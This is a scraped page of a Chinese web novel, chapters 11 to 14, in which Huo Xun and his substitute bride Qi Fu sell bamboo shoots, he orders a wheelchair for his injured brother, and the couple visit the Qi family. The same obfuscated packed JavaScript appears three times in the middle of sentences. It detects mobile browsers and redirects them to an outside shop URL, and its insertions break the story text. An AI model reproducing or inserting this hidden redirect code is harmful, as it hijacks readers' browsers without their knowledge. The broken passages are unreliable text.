霍洵剥了几根,眉头不自觉地皱起,旁边的祁福瞧见,犹豫了一会儿小声开口:“你带了刀,可以用刀削一下再剥。” 霍洵一听,连忙将自己带的柴刀拿出来:“怎么削?” 祁福伸出一根食指,在水竹笋上‘咻’地滑了一下,表情十分认真:“就是这样。” 霍洵笑得不行:“拿刀削给我瞧。” “哦。”祁福顺从地接过刀,在水竹笋上削去一层皮,然后握住笋尖一拧,倒着将所有的笋皮都扒了下来。 霍洵看得敬佩不已:“有这样的好法子,怎么不早说!” 祁福瞥了他一眼:“糟蹋刀,要被大人说的。” “废刀比废手强,往后不必担心这些,霍家不会有人说你。” 话落,他眼神一暗。 眼前之人到底是不是祁家那个大儿子,明日便会有答案,届时,这人还会同他回霍家吗? 霍洵摇了摇头,没再想这些,开始专心剥水竹笋。 看祁福操作十分简单,他自己上手后,才发觉也没有那么容易,一不留神就会将笋子的肉削掉一大块。 后头换着力度试了几回,才掌握好力度。 剥了几根水竹笋,又有客人来了,霍洵将刀给祁福,自己腾出手来招待买笋子的人。 11. 第 11 章 来人是个年轻汉子,他走到摊子边瞧见祁福将刚剥好的一捆水竹笋摆上,眼神一喜:“还有剥好的?这剥好的如何卖?” 霍洵:“五文钱一捆,也是一斤。” 汉子“啧”了一声:“这贵了快一倍呀!” “不贵。”霍洵耐心解释,“带皮的笋子三文一斤,皮占了一半,笋肉也就半斤。我们这一斤笋肉卖五文,还省了您剥笋子的功夫,算下来比带皮的实惠。” “这么说倒也是。”汉子摸着下巴琢磨了一会儿,越想越觉得剥皮的划算。 他娘年纪大了,精力不如原先时候了,这剥了皮笋子买回去省得他娘费力气剥。 “那我要两捆,小兄弟,你手上那捆也给我吧!” 祁福正把剥好的水竹笋上秤称,闻言斜着眼睛偷偷摸摸地看霍洵。 又有人叫他‘小兄弟’,可别引起霍洵的注意。 霍洵每回瞧见他那副心虚的模样都觉得好笑,这人脸上藏不了一点事。 “笋子够一斤吗?没错就给客人。” 霍洵不动声色,祁福便放松下来,将笋子给他:“一斤多一点点。” 霍洵接过笋子递到那年轻汉子手上,汉子眉开眼笑,是有一斤多,他方才瞧着呢。遂数了十个铜板抛到祁福腿上的木匣子里,道了声谢,提着笋子走了。 汉子走后,陆陆续续又来了些客人,有人来的时候霍洵便招呼客人,没人的时候便和祁福一起剥笋子。 剥了皮的笋子是好卖些,不过如霍洵所料,确实有人嫌贵。 有个老头子既嫌贵,又想买,絮絮叨叨地同霍洵磨嘴皮子,让他降价。 价是肯定不能再降了,不过霍洵又想了一个主意。他把每捆一斤的剥皮水竹笋拆成了两份,每份半斤。 “这就是一斤带皮笋子的量,同样三文钱,也能做一顿。” 老头子愣在原地,最后想了想,还是将那半斤的水竹笋买了。 想着嫌贵的人不少,霍洵索性让祁福多捆了几分半斤的出来,果然卖得更快了。 斜对面孙二郎一直看着他们,见到这一幕,叫苦不迭:“我的娘诶,他可能真能折腾!” * 一上午过去,霍洵和祁福带出来的一百斤水竹笋,只剩三十斤了。二十多斤毛竹笋被他连卖带送,也去了大半。 下午买菜的人更少了,另几个笋子摊的人也学了他们的法子剥皮卖,霍洵的水竹笋也卖得慢了。 守了一个时辰,还不如早上一刻钟卖得多。 桂婶的鸡蛋卖完了,她过来帮着剥了会儿水竹笋,想等霍洵和祁福一起回去。 霍洵看了眼剩下的笋子,心里有了主意。 “祁双,我去木匠铺,顺路带二十斤笋子去卖,剩下的十斤你和桂婶在这儿慢慢卖,行吗?” 祁福犹豫了一下,点头道:“好。” 霍洵又请桂婶帮忙:“我娘子胆子小,劳烦您帮忙看着些。” 桂婶爽利地挥手:“这算啥,不肖你说,我也当帮忙,回去还要坐你们的牛车呢!” 同他们说好后,霍洵将拴在路边树上牛牵来,将分出来的笋子搬上去,赶着牛车往镇子东边走。 菜市在镇子东边,和鲁记木匠铺正好是两个方向,霍洵赶着牛车,挑屋子好、路面平坦的地方走。 这样的地方住的人家富裕些,买笋子的几率大。他沿路叫卖,不多时水竹笋便卖了好几捆,三颗毛竹笋也卖了两颗,竟比下午守在摊子上卖得还快些。 遇着妇人闲聊、孩童玩闹的地方便慢些走。有些妇人自个儿买了还会喊相熟的来买,孩子们有的得了大人的嘱咐,瞧见小贩带了要买的东西来,会跑回去叫自家大人…… 霍洵一路走,一路叫卖,还没到鲁记木匠铺,牛车上的笋子便卖完了。 他心里合计,后头再来卖笋子,可以上午在菜市那儿卖,下午就用牛车驮着沿路叫卖。 * 鲁记木匠铺的招牌十分醒目,霍洵到了东市一眼就瞧见了,不远处还有家铁匠铺。轮椅有些部位需要用铁来加固,两间铺子离得近倒是方便。 霍洵将牛拴好,掏出怀里的图纸,大步往木匠铺走。 木匠铺前堂和后院连着,铺子里生意好,通过敞开的后门,能瞧见后院里几个木匠师父在忙碌。 前堂还有几个客人在看家具,两个伙计一个给人介绍新出的镜台,一个点头哈腰地送买了木器的客人出门。 “钱老爷慢走,您这几样东西我们做好了马上给您送去,绝不耽搁贵公子成亲!” 看这模样,是接了个大活儿。 “兄台可是要打家具?” 送客人出门的伙计上下打量了霍洵几眼,见霍洵一身短打,手指头污糟糟的,方才弯着的腰立刻直了起来。 他面上的笑淡了些,语气倒还算客气:“我们铺子里什么木器都有,您要什么?” 霍洵将图纸展开给他看:“我要打个带轮子的椅子,像图里这样的,你们可会打?” “我们师傅什么都会打,”伙计笑了笑,语气有些不以为然,“不过你这东西先前没见过,要花功夫琢磨,得加些工费。” 霍洵瞧出他眼里的轻蔑,面色不变:“木料多少钱,工费多少钱,用什么料子,多久能打出来,打不出来怎么办,你与我仔细说来。若是拿不准,便去叫能做主的人。” 这回开口,他周身的气势一变,分明还是那个人,却让人心头一凛,不敢再生出半分轻视。 伙计对上他的目光,心里打鼓,不自觉地躬下腰:“那、那您等等,我去问问师傅。” 霍洵颔首,跟着他进了木匠铺。 伙计一溜烟跑去后院问话,霍洵自己在铺子里转了转,他正低头打量一张楠木桌子,铺子里另一个伙计却大喝一声:“那个不能摸!!” 伙计语气不悦:“那是张氏粮行的东家花大价钱找我们打的,只等晾好了就要给他送去,你手上不干净,碰脏了可是要赔钱的!” 霍洵回头,语气冰冷:“我何时碰了?” 他手上染了水竹笋的汁水,用清水冲洗过,没洗掉,但自己记着,方才连手都没抬。这伙计提防铺子里的东西被人碰脏倒也没错,可不该一副防贼的语气。 说话的伙计对上霍洵的视线,眼神变了变。 刚才只瞧见个背影,还当是来打农具的泥腿子,瞧见正脸惊觉这人气势不俗,他心里掂量了一会儿,干笑着搓了搓手:“我就是提醒提醒,没有说您的意思,您别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521537|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见怪。” 霍洵面无表情,对这家木匠铺的印象已跌到谷底。 他还未说话,又听后院传来一道不耐烦的声音:“我这儿忙着呢,什么带轮的椅子,听都没听说,莫不是拿我们寻消遣?” 不知传话的伙计说了什么,那人又道:“有图纸能照着打?那让他将图纸留下,先交十两银子做订金,后头不够再补,我得了空便给他打。” 又过了一会儿,传话的伙计跑出来,对着霍洵悻悻地笑了笑:“客官,我们东家说得了空会给您打,让您先交十两银子做订金,用什么木料他会看着来——” “不必了。” 霍洵打断了他的话,冷着脸转身,大步离开。 走到门外,还能听到另一位伙计的嗤笑。 “这人真能唬人,我真当他是个人物呢!还是师傅老道,瞧出就是来寻消遣的,一让他给银子就走了……” 霍洵猛地一回头,那伙计吓得身子一僵,讪讪地闭了嘴。 * 一个木制的轮椅,开口就要十两银子做订金,还一副得求着他打的架势,真把人当冤大头了。 霍洵信不过鲁记,决定换一家。 旁边那家铁匠铺他也没去,早上过来的路上他同桂婶打听过了,这铁匠铺与鲁记木匠铺东家是亲戚,想来是一丘之貉。 他不信流云镇找不到别的木匠铺和铁匠铺,实在不行,还能去县里找呢。 正好明日要去县城,不妨过去问问。 霍洵一边思索着轮椅的事儿,一边赶着牛车往菜市走。 回去时不用卖竹笋,比来时速度快了一倍。 回到菜市时,祁福他们的十斤水竹笋还没卖完,不过也就剩三斤了。 霍洵让祁福收拾摊子,自己拿着三捆水竹笋送去给摊子斜后方的那家汤面铺的老夫妻。 他们的牛拴在汤面铺旁边的一棵树上,虽然隔了段距离,也没挡着人家门脸,但到底是人家的树。人家不仅没赶,还给牛喂了水,霍洵心里感激。 他将水竹笋送去,那对老夫妻推辞了好一会儿,才不好意思地收下。 送完水竹笋,霍洵又去对面猪肉铺买了一斤肉。 家里几个人一个比一个瘦,霍秋还小,霍泽还病着,一家人都需要补身子。今日笋子几乎卖完了,买块肉回去添菜,就当是庆贺一下。 孙二郎夫妻的竹笋还没卖完,瞧见他去买肉满脸羡慕。 回到牛车旁,桂婶也在卖说笋子的事儿:“还是你俩厉害,头一回来就将笋子卖完了,今日就数你俩的竹笋卖得最好,孙二郎两口子那摊子上还剩了一多半呢!” 孙二郎夫妻带了近九十斤水竹笋,卖了不到三十斤。 桂婶叹了口气:“他两还算强的,你牛三叔不知卖了十斤没有,我瞧他也在收拾摊子了,等会儿还得背回去。” 这会儿约莫到晡时了,天色尚早,若是坐牛车回去再晚些也不怕,但若是走回去,还得早些出发,毕竟要走山路。 牛三叔这会儿收拾摊子,想来是准备走回去。 村里的牛车一个人收两文钱,带了货物的多收一文,他舍不得出这钱。 霍洵想了想:“板车上还有空地,不妨叫他坐我们的牛车回去。” 12. 第 12 章 霍家,霍秋站在院子门边,踮着脚往外张望。 晚饭都快做好了,她二叔和婶婶还没回来,霍秋心里焦急。 霍苓和郭秀英坐在台阶上择菜,虽未出声,但也留意着外头的动静。 牛车碾压石子路的声音响起,霍秋一溜烟蹿了出去:“二叔他们回来了!” 她欢天喜地跑出去,见到自家的牛车却傻眼了:“娘,不好了,二叔把笋子原样拖回来了!” 郭秀英和霍苓跑出来时,就见霍秋一副要哭的表情:“堆得满满的!难不成竟一点儿也没卖出去!” “哎!”三人一齐叹了口气。 等牛车到了跟前,又不约而同地挤出一张笑脸。 霍秋笑得比哭得还要难看:“二叔,没事,菜粥虽然难吃,但饿不死人。” 霍苓小心翼翼:“二哥,我最近新琢磨了几样素菜,你应当会喜欢。” “二弟,你两头一回做买卖,开张就行,开张就行!”郭秀英故作爽朗,安慰完又迟疑道,“那啥,开张了吧?” 霍洵先是不解,眼睛瞥见车上堆着的水竹笋才反应过来,霍秋三人是将牛三叔的笋子当成他的了。 他哭笑不得。 桂婶从牛车上跳下去,先他一步开口:“你们说啥呢!洵小子可厉害,头一回做买卖,就将菜市那些老伙计都比下去了,今日就你家的笋子卖完啦!” 桂婶夸完霍洵,又笑吟吟地夸祁福:“还有祁姑娘,不愧是生意人家出来的,才卖了半日笋子,就有回头客了呢!那小娘子说祁姑娘做买卖实诚,秤给得足,还帮她剥笋子,下午带着她妯娌特意来祁姑娘这儿买水竹笋呢!” 霍洵还不知他走后发生了这样的事,转头看向祁福。 祁福被夸得小脸通红,被霍秋和霍苓围着说话,颇有些手足无措。 先前没觉得,这会儿再看,便能发现祁福一直和霍秋她们保持着距离,霍秋要拉他的手,他慌忙将手背到身后,霍苓靠得近了,他也会躲开。 昨日郭秀英拉他时,他似乎也把手缩回了袖子里。 霍洵上前一步,对着霍苓和霍秋道:“别围在这儿了,把肉拿进去,我先送牛三叔回他家再回来。” “肉?!二叔买了肉!”霍秋激动地欢呼一声,接过肉拽着霍苓往屋里走,“小姑你那野葱别凉拌了,炒肉吧!” 牛三叔方才被霍洵和祁福挡着,这两人下车后,他也赶紧下来朝郭秋英道谢:“今日真是劳烦二郎了,我这笋子没卖完,他心好,让我坐您家的牛车回来。” “二郎小两口都是有本事的,笋子卖得好,心也善,往后定有大出息。” 牛三叔心里的羡慕溢于言表,郭秀英本想谦虚几句,但脸上的笑压都压不住:“哎哟,他俩就是运道好,牛三叔莫忧心,你这笋子明日定能卖出去。” 几人寒暄了几句,桂婶先回家了,牛三叔还想送些笋子给霍家做谢礼,郭秀英和霍洵都不肯收。 霍洵赶着牛车将他送回去,再回到霍家时,霍苓和霍秋带着祁福眉开眼笑地在灶房准备晚饭,郭秀英和霍泽在屋里说话。 他路过门口,还能听见郭秀英大声炫耀:“二弟可不得了!带了一百斤水竹笋,二十斤毛竹笋,全卖光了!头一回做买卖就这般厉害,往后熟门熟路了,只会更好!你就说,这村里几十号小年轻,哪个有咱二弟这般厉害?还有弟妹,别瞧她一副焉巴巴的小模样,做起买卖来也有一手……” 霍洵失笑。不得不说,霍家虽然烂摊子不少,但家里人是真的赤诚仁厚。 夸起人来,好听话一股脑儿往人身上砸。 莫说他,便是穿来头驴,只怕也会心甘情愿地给霍家犁二里地再走。 他现代的家也是这样的氛围,有时和郭秀英她们说话,他会情不自禁地恍惚一下,想起自己的家人。 * 霍洵买了一斤腿肉,霍苓切了一半,先将肥肉煸出油,然后依次倒入瘦肉和野葱一起炒,炒完整个灶房都是野葱炒肉霸道的香味。 粥提前煮好了,晚饭做得简单,一道清炒莴笋片,一道野葱炒肉,再加两样咸菜便齐活。 野葱炒肉实在是香,一家人吃得头也不抬,剩下一点儿汤汁都被霍秋拌豆粥吃了。 吃完饭,霍洵将今日卖笋收到的铜板搬进霍泽屋里,一家人一起数钱。 他们带去的小木匣快装满了,倒在桌子上堆成一座小山,霍秋看得眼睛发亮,伸手拨来一堆就开始数。 “一、二、三……” 几个人数完的加起来一共二百五十五文。 水竹笋三文一斤,按理能卖三百文。但一捆一斤的情况极少,一般都要多点,客人买得多的还得送一根,后来剥皮的也只卖五文一斤,算下来一斤不到三文。再加上连卖带送的毛竹笋,就是这么多钱。 水竹笋大部分是村里公山拔的,卖笋子在村里人眼中就是无本的买卖。一天就卖了二百多文钱,着实不少。 霍秋和霍苓高兴极了,郭秀英和霍泽面上也有些欣喜。 “今日干完农活,我又带着小秋去找水竹笋了,不过寻了半天也只拔了二十来斤。”郭秀英含笑道,“明日应当就多了,你俩回门,我们去山上拔,后日你们接着去卖!不说每回卖两百文,便是再折些,一月也能有二、三两银子呢!” 如今家里紧巴巴的过日子,是想攒银子给霍泽治病。霍洵停学,他的束脩便省下来了,日常花销也能少一大笔,再加上这每月二、三两的银子和夏收过后家里粮食卖的钱,或许再过半年,便能送霍泽去府城寻医了。 郭秀英心中火热,霍秋和霍苓也眼神热切,恨不得现在就上山拔笋子。 霍洵也笑了笑,心里却十分平静。 这买卖能做,但能挣的有限。 镇上的人终究是少了点儿,每日能消耗的笋子就那么多。今日他用了些旁人没用过的法子,才比旁人卖得好,但也卖到下午才将将卖完。 明日之后,镇上卖笋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521538|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的都学了他的手段,他们的笋子就没什么优势了,赶着牛车去巷子里卖是个法子,但能起到的作用也有限。 要想多挣,要么提高利润,要么扩大销量。 霍洵下午从木匠铺回菜市时一直在琢磨这事儿,心里已有了些主意,但还未考虑清楚,准备今晚再好好想想。 眼下家里人情绪高涨,他没有泼冷水。 * 郭秀英拿了绳子过来,和霍秋、霍苓一起将铜板串起来。 每一百个铜板串成一大串,剩下的五十五文串了两个二十文的小串,还有十五文就散着。 她将这两百多文钱放回木匣里,推到霍洵面前:“我手上还有五两银子,是留着给你大哥买药的,你们卖笋子挣的钱往后就自己收着。” 霍洵面上一怔,昨日听说他要去卖笋子,郭秀英已经拿了二两银子给他了。 郭秀英的目光扫过祁福,对着霍洵道:“二弟,你如今也成家了,手边不能没有钱。往后卖笋子的钱归你们,家里卖粮食、油茶、棉花这些东西得来的钱,嫂子就厚着脸皮自己拿了。” 她面上有些不好意思:“你大哥要治病,嫂子没法子,到时候银子不够还得管你们借,不过你俩放心,待你大哥的病好了,这钱我们会还!” 靠坐在床上的霍泽一脸认同,显然是他们夫妻商量好的。 祁福不知所措,霍洵摇了摇头:“大哥是上山砍柴时受的伤,是为咱们家受的伤,给大哥治病,不是你们小家的责任,我和霍苓也有这个义务。卖笋子的钱我会收着,但只是因为我做买卖还有用。治好大哥的病,是咱们全家人的目标,为这事儿拿钱,谈不上‘借’。” 霍苓小鸡啄米般点头。 郭秀英心里过意不去,又劝了几句,主要还是担心新过门的弟媳有意见。 见霍洵态度坚决,祁福一脸乖巧,似乎压根没计较这些,她也不再多说,只心里打定了主意,不能让二弟小两口太吃亏。 * 霍洵还记挂着轮椅的事儿,用第一日卖笋子的战果给他大哥鼓了鼓劲儿,就找了个由头让郭秀英同他去外头说话。 郭秀英一听鲁木匠那儿打不了轮椅便急了:“鲁木匠是咱们这十里八乡公认的、手艺最好的木匠,他都不行,咱得去哪儿寻个更好的?” “附近几个村都有木匠,可手艺都不如鲁木匠啊!”她叹了口气,“可惜你聂三哥没学成,只能修修桌子腿,不然咱哪用得着去外头找人。” 霍洵想了想,轮椅结构并不复杂,其实不一定非要手艺特别好的木匠。 他可以把轮椅结构图分解开,这样木匠之需要照着他的图打单独的轮子、座椅……,不需要思考整体的结构和原理,应当会简单许多。 这样一来,比起手艺,反而是老实听话更重要。 霍洵若有所思:“嫂子,聂三哥或许还真行。” ‘聂三哥’是村长聂满仓的第三个儿子,人长得高大,就是性子有些呆。 13. 第 13 章 聂家三个儿子,老大聂大田勤恳踏实,将家里的田地打理得井井有条; 老二聂二田脑子机灵,能言善道,跟着霍洵他爹念过两年书,如今在县里一个小酒楼做管事; 老三聂三田性子木讷,从小就没啥存在感,去鲁记学木工,也没学成。 聂三田被他两个哥哥衬托得暗淡无光,去岁被鲁木匠嫌资质愚钝赶出来,说好的亲事也黄了。 如今偶尔也能接点木工活儿,但就如郭秀英所说,多是帮人修补桌子凳子。 他手艺如何霍洵不知道,但人品可靠,也有耐心。霍洵成亲前,郭秀英也请他来修理过霍家的桌椅。 一个不值钱的竹椅结构松动,坐着嘎吱作响,他恁是花两个时辰给修好了。 郭秀英有个楠木镜匣合页处坏了,盖子蹭掉了一块漆,他修补完几乎看不出痕迹。 霍泽屋里那条木桌,有条腿断了一截,他也给修好了…… 忙活了好几日,才收了几十文钱。 既然能将坏掉的木器修补完好,想来基本功是没问题的。 越想越觉得聂三田合适,霍洵和郭秀英说完,当即回屋重新画了图纸,去找聂三田。 聂家的屋子在靠近村口的位置,他家人丁兴旺,聂三田有两个哥哥两个姐姐,但没分家。 霍洵过去时,太阳快落山了,聂家也吃完了晚饭,大人在院子里干活,孩子们在院子里玩耍,十分热闹。 “洵小子来了,快进来坐!”村长聂满仓穿过竹篱笆搭的院墙看到霍洵,扬声招呼。 他娘子一听,赶忙起身:“洵小子进来坐,婶子去给你倒碗茶!” “婶子莫忙,我来找聂三哥,说完话就走,不坐了。” 霍洵进去后,简短地和聂家人寒暄了几句,在他们诧异的目光中走向聂三田。 聂三田拿着块木头在角落里雕,见霍洵来找他也有些意外:“你家又有东西坏了?” 霍洵失笑:“没有,想找你打个东西,三哥帮我瞧瞧能不能打?” 聂三田更加意外了:“找我吗,打什么?” “三哥可否借一步说话。” 聂三田点点头,带着霍洵去他屋里。 进门后,聂三田将房门合上,霍洵将两张图纸依次展开给他瞧。 “我想打一张轮椅给我大哥用,三哥你看,这张是轮椅的整体,这张是拆开的结构,你只需要按着第二张图将那些部件打出来,我自己会拼,可能打?” 聂三田将两张图纸翻来覆去地看了一会儿,方才还焉巴巴的人眼里渐渐有了神采:“这是将板车的轮子装在椅子下头,让椅子也能像板车那样推动?” 霍洵微微颔首:“可以这样理解。” “好精妙的设计!这是你自己想出来的?” “不是。”霍洵含糊道,“在一本书上看到的。” “我能做,你若信得过,便给我五日时间,我将这些部件全部打出来。”聂三田顿了顿,将轮椅的整体结构图还给霍洵,“霍二郎,你这图纸其实不该拿给我看的,临山县没有这样的东西,你这轮椅是独一份的。这样的图纸对木匠来说意义非凡,寻常木匠只会照老样复刻,有这样几张图样,足够一个木匠开宗立派了。” 霍洵眼里露出些笑意,心道,他果然没看错人。 “轮椅并非我自己琢磨出来的,而且这张图纸不够精细,具体的尺寸、榫卯细节还得你根据实际情况调整。” 聂三田摇摇头:“即便如此,这图纸也很贵重。我原先学艺的鲁记木匠铺能在镇上打出名声,就是因为他们有门路,会花重金去别处买图样,能做出来镇上其他木匠做不出的样式。” 他看了眼霍洵:“我听闻你要攒钱给霍大哥治病,不妨将这图纸拿去鲁记一试。因是在书上看到的,不能保证别处没有,也不够精细,卖不了高价,但几两银子应当不在话下。” 霍洵摇了摇头:“我今日去了鲁记木匠铺,连鲁木匠的面都没见着。” 他没有细说,但聂三田心中已有猜想:“你是被那两个伙计拦住了?那两人学艺不精,人也有些势力,你不是做这活的,又没有中人引荐,陡然跑去卖图纸他们定是信不过你。” 霍洵笑了笑,没和他解释自己是去找人打轮椅,并非去卖图样的。 “聂三哥,我确实有心用这轮椅给我大哥筹钱治病,但并不是非得通过卖图纸的方式。”霍洵语气淡淡的,神色却笃定,“卖轮椅也是一样。” 聂三田面上一怔:“这倒也是,是我想岔了。” 霍洵看着他:“我有意与聂三哥合作,但现在说这些还有些早,待轮椅做出来,我们再仔细商谈。” 这是要带他一起卖轮椅?聂三田隐隐有些激动,轮椅这东西不如寻常家什好卖,想来挣不了多少钱。 但有了这独一无二的木器,他或许也能打出些名气来,届时,就不至于只能接些修补家具的活儿了! * 从聂家回来,天色已擦黑,院子里飘着熟悉的药味。 祁福蹲在台阶上洗药罐,霍苓和霍秋一人举着半块饼子,笑嘻嘻地围着他说话。 “婶婶你真好!自打你来了,咱们家吃得可比原先好多了,你早该嫁给我二叔的!” “二嫂,我今日摘了野栀子花回来,插在堂屋的瓶子里了,你瞧见了吗?可香了!还有一束是给你的,等会儿我去给你拿……” 祁福脸上有浅浅的笑,神态难得的放松。 霍洵心情有些复杂,没过去,见角落里堆着没劈完的柴火,便拿了斧头来劈柴。 劈了一会儿听见霍秋喊他:“二叔,热水好了,你给我婶婶提到后院去呗!” 祁福吓得一跳,忙道:“小秋,我自己来!” 霍洵想起他身上的伤,语气果断:“我提,你去收拾换洗的衣裳。” 祁福瞥了他一眼,犹犹豫豫地回屋了。 霍洵提着一桶热水回到卧房时,就见他对着床上的两块布巾发愣,一块是他那旧得起毛边的,一块是霍苓送的新的。 “新布巾怎么不用?”霍洵问。 祁福眨了眨眼睛,下定了决心一般:“等会儿就用。” 他将那块新布巾放到换洗的衣裳上,一起拿进了卧房后面的盥洗室。 听到脚步声渐渐走远,祁福脱下衣裳,跨进热气腾腾的浴桶里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521539|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他泡在水里,一脸珍惜地捧着那块新布巾瞧了瞧,又幽幽地叹了口气。 他就快要死了,用一些好东西也是应当的,到了下头做一个干净的鬼。 * 洗簌完,也到了歇息的时辰。 两人躺在床上,都有些睡不着。 卧房里祁福在床上翻来覆去,一墙之隔的竹床上,霍洵也睁着眼睛。 这一夜,两人都没睡好。 翌日一早,吃了早饭,霍洵将特意留出来的竹笋和鸡蛋往牛车上搬。 今日他们换了个带车厢的木板车,是霍洵他爹原先去府城赶考时用过的,已经很旧了,倒是没坏。 郭秀英又收拾了一大筐菜出来,祁福默默地在心里叹气,这些东西给祁家都糟蹋了。 郭秀英不知他心中所想,还在努力搜刮,试图再找些什么送给祁家,好在是被霍洵拦住了。 从玉泉村到临山县要两个半时辰,这一路,祁福在牛车上坐立不安,离临山县越近,他脸上的焦灼便愈发明显。 牛车进城后,又走了两刻钟,终于进了祁家所在的巷子。 “到了,下来吧。”霍洵跳下马车,准备去敲门。 祁福迟疑地从牛车上下来,却似脚被钉住了一般,站在原地,半晌不动。 霍洵已有决断,瞥见他眼里的惊惶,终究没忍住开口。 “老虎也会打盹,你那弟弟再可怕,也有松懈的时候,往后他再欺负你,要么趁他不备打回去,一次将他打服,要么跑,你有手有脚,去哪儿都能养活自己。” 祁福猛地抬头,却又听霍洵道:“你母亲只有你们姐弟两个孩子,倘若你弟弟废了,她往后就只能依靠你了。” “明白吗?”霍洵定定地看着祁福,语气意味不明,“祁双。” * “哟,姑爷来了?”葛小芹打开大门,一双眼睛滴溜溜地在祁福和霍洵面上打转,见霍洵面色平静,她心里松了口气,又挤出个笑,热络道,“快进来吧,我和双儿她爹一早就盼着呢!” “路远,让岳母久等了。” 见霍洵朝她拱手告罪,葛小芹又放心了几分:“不妨事,不妨事!” 她‘亲热’地挽起祁福的手,装出一副关心的语气问祁福:“在姑爷家可还适应,没给人添乱吧?” 她意有所指,祁福却还没从霍洵的话里回神,只呆呆地点了点头。 这下,葛小芹是彻底放心了。 她脸上的笑真切了几分,扭身将大门的门槛拆了:“姑爷将牛牵进来吧!” 说话的功夫,祁福他爹祁有德也出来了。霍洵将牛车赶到院子里拴上,将车上的东西搬下来,祁有德喊祁旺来帮着搬。 “你们人来就行了,何必还带这些东西?”他背着手踱步靠近,脸上带着笑,眼里却有不易察觉的骄矜,“女婿,今日双儿她姑姑姑父也来了,你若有什么不明白的功课,正好向她姑父请教一二。” 祁家敢用祁福换祁双,霍洵早知他们会留后手。 果然。 祁双的姑父是个秀才,这是想拿身份压他? 来得正好,霍洵心中冷笑。 14. 第 14 章 祁家当初应下婚期时,应当是真心想将女儿嫁给霍洵的。 当时两家还约好在原主赴府城赶考之前,由长辈带两个新人在县里见一面,一起去布庄挑喜服要用的布料。 只是霍泽腿伤发作,疼得厉害,霍家迫不得已失约了。 原主和祁双原先未曾见过,若当时就想让祁福替嫁,没必要让祁双和原主在大婚之前见面。 后来改主意,霍洵猜想,最关键的原因是原主没能考中秀才,还有可能,祁家有了更理想的女婿人选。 很有可能是这二者都占了。 若只是前者,完全可以再等等,毕竟原主也才十八岁。虽是个书呆子,但十八岁之前考过县试和府试,成绩已算不错。 能让祁家做出临阵毁约、拿儿子换女儿的荒谬之事,这位新女婿定条件定然出众。 今日祁家姑丈也来了,他出现在这里,多半是为了防备霍洵拆穿祁福的身份对祁家发难。 可霍洵记得,祁福曾在他姑丈家生活过五年,祁家姑姑姑父愿意养祁福五年,人品应当不错,为何会助纣为虐? 霍洵估摸着,祁家相中的新女婿和祁家姑丈有关系。 联想到祁家姑丈是私塾的夫子,这新女婿很可能是他的学生,还有可能在这回院试考中了秀才。如此才能解释,祁家为何在短时间内毁约,甚至来不及去想更周全的法子。 一个是自己的学生,一个是亲侄女儿,实在牵连太深,这把火稍有不慎便会烧到他身上,这就能够理解祁家姑丈为何愿意出面向霍洵施压了。 这些人要如何解释替嫁之事,霍洵也猜到了。 要么将事情全栽到祁福头上,说祁福看上了未来妹夫,故意替嫁; 要么说他和祁福私相授受,祁家不得已才同意替嫁。 总之会把祁家和那位新女婿都摘出去。 祁家敢这么干,应当有所准备,他家在县里经营了这么多年,又有钱,定是有些人脉的,说不定就连官府的人都能买通。 这种事成亲当日没能拆穿,后头很难再说清。 原主性子天真软弱,若不是这具身体里头换了个芯儿,还真有可能会被祁家压住。 可今日来的是霍洵。 霍洵来之前就想着先探探底,再想应对之法,这会儿虽然还未彻底摸清祁家的底细,但他心里已有成算。 祁有德是生意人,名声十分要紧;祁家姑丈是读书人,还要靠私塾维持生计,定也极在意颜面;还有祁家那新女婿,才考中了秀才,这当头若是坏了名声,科举之路也别想往下走了。 光脚的不怕穿鞋的,现在该害怕的是祁家。 眼下,只待印证他的猜想了。 * 祁旺一脸嫌弃地帮着搬完笋子和菜,又被祁有德唤来同霍洵打招呼。 他漫不经心地走过来,对上霍洵的视线,却不自觉地站直了身子:“姐夫。” “嗯。”霍洵似笑非笑。 祁旺五官还算端正,但满脸横肉,面上带着一股与年纪不符的戾气。他身形粗壮,块头有祁福的两个大,是标准的不良少年长相。 难怪祁福怕他。 霍洵的目光在他身上打量,如有实质,祁旺不知为何有种被猛兽盯上的感觉。 眼前之人明明是个书呆子,虽长得高大,但体型也不算特别健壮,给他的感觉却比羊头山那位手上染了几条人命的山匪头头还要可怕。 祁旺试图提起气势,但心里莫名地发虚。 他皱了皱眉,转头看向祁福。 姓霍的摸不清底细,还是祁福这个软包子让他心里畅快。 祁有德察觉他的目光,瞪了他一眼:“还不去给你姐姐、姐夫倒茶!” * 霍洵被祁家人领进堂屋,屋里站着张望的妇人,和坐着的男子同时朝他们看过来。 